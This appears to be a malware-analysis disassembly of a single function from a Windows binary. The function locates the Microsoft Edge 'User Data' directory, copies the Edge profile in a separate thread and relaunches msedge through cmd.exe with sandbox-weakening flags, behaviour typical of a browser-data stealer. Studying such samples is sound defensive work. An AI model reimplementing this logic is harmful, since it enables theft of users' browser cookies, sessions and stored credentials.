Function at 0x140016150
Capabilities:
Create thread
Terminate thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x140075030]
xor rax, rsp
mov qword [rbp + 0x80], rax
movzx r13d, dl
mov r12, rcx
xor r14d, r14d
mov dword [rsp + 0x70], r14d
lea rcx, str.LOCALAPPDATA
call fcn.140028b34
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], r14
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1400161c0
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140007f00
nop
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp + 0x50]
sub rax, rcx
cmp rax, 0x10
jb 0x140016a27
lea r9, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae r9, qword [rbp + 0x40]
mov qword [rsp + 0x30], socket
lea rax, str.MicrosoftEdge_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x20]
call fcn.140008590
nop
mov rax, qword [rbp + 0x30]
sub rbx, rax
cmp rbx, 0xa
jb 0x140016a2d
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r9, qword [rbp + 0x20]
mov qword [rsp + 0x30], 0xa
lea rcx, str.User_Data_
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp]
call fcn.140008590
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rsi, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rsi, qword [rbp]
mov rdi, qword [rbp + 0x10]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov r14d, 7
mov qword [rsp + 0x58], r14
xor eax, eax
mov word [rsp + 0x40], ax
mov dword [rsp + 0x70], 0x4c
test rdi, rdi
je 0x14001632c
cmp rdi, 0x7fffffff
ja 0x140016a33
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140016a39
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005e50
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x140016a3f
lea rcx, [rsp + 0x40]
call fcn.140004240
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14001637b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016376
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a47
call fcn.14001e740
test bl, bl
jne 0x1400163ba
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor esi, esi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea r8d, [rsi + 0x14]
lea rdx, str.Edge_does_not_exist_
lea rcx, [rsp + 0x40]
call fcn.140007f00
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140014dd0
jmp 0x140016933
lea rcx, [rbp - 0x80]
call fcn.140018d90
nop
lea r8, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r8, qword [rbp + 0x20]
mov r9, qword [rbp + 0x30]
xor edx, edx
mov rcx, rax
call fcn.14000b050
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xor ebx, ebx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140016449
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016444
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a4d
call fcn.14001e740
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], r14
mov word [rsp + 0x40], bx
mov dword [rsp + 0x70], 0x4bc
test rdi, rdi
je 0x140016513
cmp rdi, 0x7fffffff
ja 0x140016a53
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140016a59
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005e50
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x140016a5f
mov edi, 0x3bc
lea rcx, [rsp + 0x40]
call fcn.140004240
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140016567
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016562
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a67
call fcn.14001e740
test bl, bl
jne 0x140016698
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rsi, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rsi, qword [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
call fcn.14001cb94
mov r15d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r14
mov word [rsp + 0x40], ax
mov dword [rsp + 0x70], 0x43bc
test rdi, rdi
je 0x140016631
cmp rdi, 0x7fffffff
ja 0x140016a6d
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
mov rbx, rax
mov rcx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140016a73
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x40]
call fcn.140005e50
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r15d
call fcn.14001cbbc
shr rax, 0x20
test eax, eax
jne 0x140016a79
mov r14, qword [rsp + 0x58]
mov edi, 0x33bc
lea rcx, [rsp + 0x40]
cmp r14, 8
cmovae rcx, qword [rsp + 0x40]
call fcn.14001d090
shr rax, 0x20
test eax, eax
jne 0x140016a81
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140016698
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016693
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a95
call fcn.14001e740
xor esi, esi
test r13b, r13b
je 0x1400167be
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
lea r8d, [rsi + 0x19]
lea rdx, str.Copying_Edge_Profile_Dir_
lea rcx, [rsp + 0x40]
call fcn.140007f00
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140014dd0
lea ecx, [rsi + 0x48]
call fcn.14001e550
mov rbx, rax
mov qword [rsp + 0x60], rax
mov qword [rax], r12
lea rcx, [rax + 8]
lea rdx, [rbp]
call fcn.1400060c0
nop
or edi, 1
mov dword [rsp + 0x70], edi
lea rcx, [rbx + 0x28]
lea rdx, [rbp - 0x40]
call fcn.1400060c0
nop
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140014380]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400060c0
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.1400060c0
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.1400139e0
lea rax, [rdi - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140016788
lea edx, [rsi + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
mov r8d, 0x1f
lea rdx, str.Copying_Edge_Profile_Dir_Ended_
lea rcx, [rsp + 0x40]
call fcn.140007f00
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140014dd0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], rsi
mov r8d, 0x1b
lea rdx, str.C:WindowsSystem32cmd.exe
lea rcx, [rbp - 0x20]
call fcn.140007f00
nop
lea rax, str._c_start_msedge___allow_no_sandbox_job___disable_gpu___disable_d3d11
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0x44
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.140009180
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
mov r8b, 1
call fcn.140015660
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x14001688d
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016888
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a9b
call fcn.14001e740
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400168d8
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400168d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016aa1
call fcn.14001e740
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140016923
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001691e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016aa7
call fcn.14001e740
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14001696e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016aad
call fcn.14001e740
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400169ba
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400169b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016ab3
call fcn.14001e740
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400169f1
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400169ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a21
call fcn.14001e740
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.14001e530
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140025808
nop
call fcn.1400012d0
nop
call fcn.1400012d0
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
call fcn.140025808
nop
call fcn.1400017d0
int3
call fcn.140001ab0
int3
mov ecx, eax
call fcn.140001ab0
nop
lea r8, [rsp + 0x40]
mov edx, eax
lea rcx, str.create_directory
call fcn.1400040f0
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
nop
call fcn.140025808
int3